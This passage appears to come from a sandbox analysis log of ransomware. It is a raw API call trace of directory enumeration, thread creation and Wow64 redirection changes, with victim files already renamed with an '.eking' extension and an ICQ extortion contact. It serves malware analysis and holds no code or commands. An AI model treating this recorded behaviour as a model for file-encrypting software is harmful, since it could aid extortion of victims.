nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0274.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3946e4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3946e4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3946e4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0274.440] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3ba90e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3ba90e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0274.440] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3ba90e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3ba90e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0289430.JPG", cAlternateFileName="")) returned 1 [0274.440] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3ba90e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3ba90e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0274.440] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3ba90e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3ba90e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0274.440] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf3ba90e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf3ba90e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf3ba90e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0274.442] GetProcessHeap () returned 0xc10000 [0274.442] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0274.688] GetProcessHeap () returned 0xc10000 [0274.688] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc38a60 | out: hHeap=0xc10000) returned 1 [0274.690] GetProcessHeap () returned 0xc10000 [0274.690] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3408fd8 | out: hHeap=0xc10000) returned 1 [0274.692] GetProcessHeap () returned 0xc10000 [0274.692] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0274.694] GetProcessHeap () returned 0xc10000 [0274.694] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33f8fd0 | out: hHeap=0xc10000) returned 1 [0274.699] GetProcessHeap () returned 0xc10000 [0274.699] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc72d88 | out: hHeap=0xc10000) returned 1 [0274.726] GetProcessHeap () returned 0xc10000 [0274.726] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0x3902778 [0274.726] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.726] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75cc6b50 [0274.726] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0274.726] GetProcessHeap () returned 0xc10000 [0274.726] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902778 | out: hHeap=0xc10000) returned 1 [0274.726] GetProcessHeap () returned 0xc10000 [0274.726] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc62d80 | out: hHeap=0xc10000) returned 1 [0274.728] CloseHandle (hObject=0x2b8) returned 1 [0274.728] CloseHandle (hObject=0x2bc) returned 1 [0274.729] CloseHandle (hObject=0x2c0) returned 1 [0274.729] GetProcessHeap () returned 0xc10000 [0274.729] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc52d78 | out: hHeap=0xc10000) returned 1 [0274.730] GetProcessHeap () returned 0xc10000 [0274.730] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc28698 | out: hHeap=0xc10000) returned 1 [0274.730] GetProcessHeap () returned 0xc10000 [0274.731] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc29908 | out: hHeap=0xc10000) returned 1 [0274.731] GetProcessHeap () returned 0xc10000 [0274.731] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20ea0 | out: hHeap=0xc10000) returned 1 [0274.731] GetProcessHeap () returned 0xc10000 [0274.731] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f8c8 | out: hHeap=0xc10000) returned 1 [0274.731] GetProcessHeap () returned 0xc10000 [0274.731] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc28638 | out: hHeap=0xc10000) returned 1 Thread: id = 60 os_tid = 0xd20 [0212.204] GetProcessHeap () returned 0xc10000 [0212.204] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x38) returned 0xc29948 [0212.204] GetProcessHeap () returned 0xc10000 [0212.204] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x18) returned 0xc286b8 [0212.204] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2f8 [0212.204] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2fc [0212.204] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x300 [0212.204] GetProcessHeap () returned 0xc10000 [0212.204] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xca8dc8 [0212.205] GetProcessHeap () returned 0xc10000 [0212.205] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcb8dd0 [0212.206] GetProcessHeap () returned 0xc10000 [0212.206] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0xc522c8 [0212.206] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0212.207] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0212.207] Wow64DisableWow64FsRedirection (in: OldValue=0x2e5fbe4 | out: OldValue=0x2e5fbe4*=0x0) returned 1 [0212.207] GetProcessHeap () returned 0xc10000 [0212.207] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc522c8 | out: hHeap=0xc10000) returned 1 [0212.207] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x3854bf, lpParameter=0x2e5fbec, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0212.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x3854bf, lpParameter=0x2e5fbec, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308 [0212.208] GetProcessHeap () returned 0xc10000 [0212.208] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcc8dd8 [0212.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x2e5f960 | out: lpFindFileData=0x2e5f960*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0xc29ac8 [0212.210] GetProcessHeap () returned 0xc10000 [0212.210] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd8de0 [0212.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.211] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0212.211] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Logs", cAlternateFileName="")) returned 1 [0212.211] GetProcessHeap () returned 0xc10000 [0212.211] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xce9df0 [0212.212] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc29b48 [0212.214] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.214] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2697217, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2697217, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc26bb503, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="DOWNLE~1.EKI")) returned 1 [0212.214] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2648d68, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2648d68, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc281293c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="OOBE_2~1.EKI")) returned 1 [0212.214] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2888fd1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 1 [0212.214] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2888fd1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 0 [0212.214] FindClose (in: hFindFile=0xc29b48 | out: hFindFile=0xc29b48) returned 1 [0212.216] GetProcessHeap () returned 0xc10000 [0212.216] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xce9df0 | out: hHeap=0xc10000) returned 1 [0212.217] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0212.217] GetProcessHeap () returned 0xc10000 [0212.217] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xce9df0 [0212.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.222] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.222] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2838bcd, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2838bcd, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc285f08e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="GETCUR~1.EKI")) returned 1 [0212.222] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc285f08e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc285f08e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc2b33990, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="GETCUR~2.EKI")) returned 1 [0212.222] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2888fd1, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc2888fd1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28ab2d9, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARTNE~1.EKI")) returned 1 [0212.222] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28ab2d9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28ab2d9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PREOOB~1.EKI")) returned 1 [0212.222] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28d167a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28d167a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPC~1.EKI")) returned 1 [0212.222] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28d167a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc28d167a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc28d167a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPC~1.EKI")) returned 0 [0212.223] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.224] GetProcessHeap () returned 0xc10000 [0212.224] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xce9df0 | out: hHeap=0xc10000) returned 1 [0212.225] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0212.225] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.225] GetProcessHeap () returned 0xc10000 [0212.225] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xcd8de0 | out: hHeap=0xc10000) returned 1 [0212.227] FindNextFileW (in: hFindFile=0xc29ac8, lpFindFileData=0x2e5f960 | out: lpFindFileData=0x2e5f960*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38572a, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0212.228] GetProcessHeap () returned 0xc10000 [0212.228] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xcd9de8 [0212.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0xc29b48 [0212.228] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1 [0212.228] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0212.229] GetProcessHeap () returned 0xc10000 [0212.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xceadf8 [0212.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0xc17a0a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x16, ftLastWriteTime.dwLowDateTime=0x2, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="⤗", cAlternateFileName="咊8Â跐Ë\x7f")) returned 0xffffffff [0212.230] GetProcessHeap () returned 0xc10000 [0212.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xceadf8 | out: hHeap=0xc10000) returned 1 [0212.230] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x6744d615, ftLastAccessTime.dwHighDateTime=0x1d63ff4, ftLastWriteTime.dwLowDateTime=0x6744d615, ftLastWriteTime.dwHighDateTime=0x1d63ff4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0212.231] GetProcessHeap () returned 0xc10000 [0212.231] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0xceadf8 [0212.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x16, 